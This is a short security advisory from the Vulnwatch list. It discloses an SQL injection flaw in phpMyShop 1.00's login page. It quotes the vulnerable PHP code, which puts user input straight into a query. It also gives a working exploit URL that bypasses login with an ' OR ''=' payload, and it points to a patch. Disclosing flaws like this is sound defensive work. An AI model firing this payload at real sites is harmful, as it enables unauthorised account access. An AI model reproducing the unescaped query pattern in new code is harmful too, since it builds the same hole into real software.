Vulnwatch: phpMyShop (php)

["Frog Man" <leseulfrog () hotmail com>]

Informations :
°°°°°°°°°°°°°°
Version : 1.00
Website : http://www.pc-encheres.com
Problem : SQL Injection


PHP Code/Location :
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compte.php :
---------------------------------------------------------------
<?
session_start();

if (isset($achat))
{
session_register("achat");
}
else
{
header("location:index.php");
}

include("design/header.php");
require("config.php");
require("fonction.php");

echo"<td bgcolor=\"$barre1\"><font color=\"$police3\" 
size=\"$width_police2\"><strong>Identification</strong></font></td>
 </tr>
 <tr>
   <td><br>";

if (isset($valider))
{
$sql = "SELECT id_cli,login_cli,pass_cli FROM $table_client where 
login_cli='$identifiant' and pass_cli='$password'";
$sql = mysql_db_query($base,$sql);
$test = mysql_num_rows($sql);
if ($test=="0")
{
?>
<script language="javascript">
alert("Identifiant ou mot de passe non valide!");
</script>
<?
echo"<center><strong>Identifiant ou mot de passe non 
valide!</strong></center><br>";
}
else
{
$id_membre = mysql_result($sql,0,"id_cli");
session_register("id_membre");
?>
<script language="javascript">
document.location.href="valide.php"
</script>
<?
}
}

[...]
---------------------------------------------------------------



Exploit :
°°°°°°°°°
http://[target]/compte.php?achat=1&valider=1&identifiant='%20OR%20''='&password='%20OR%20''='


Solution :
°°°°°°°°°°
A patch has been published on http://www.phpsecure.info .



More details :
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In French :
http://www.frog-man.org/tutos/phpmyshop.txt
Translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2Fphpmyshop.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools



frog-m () n


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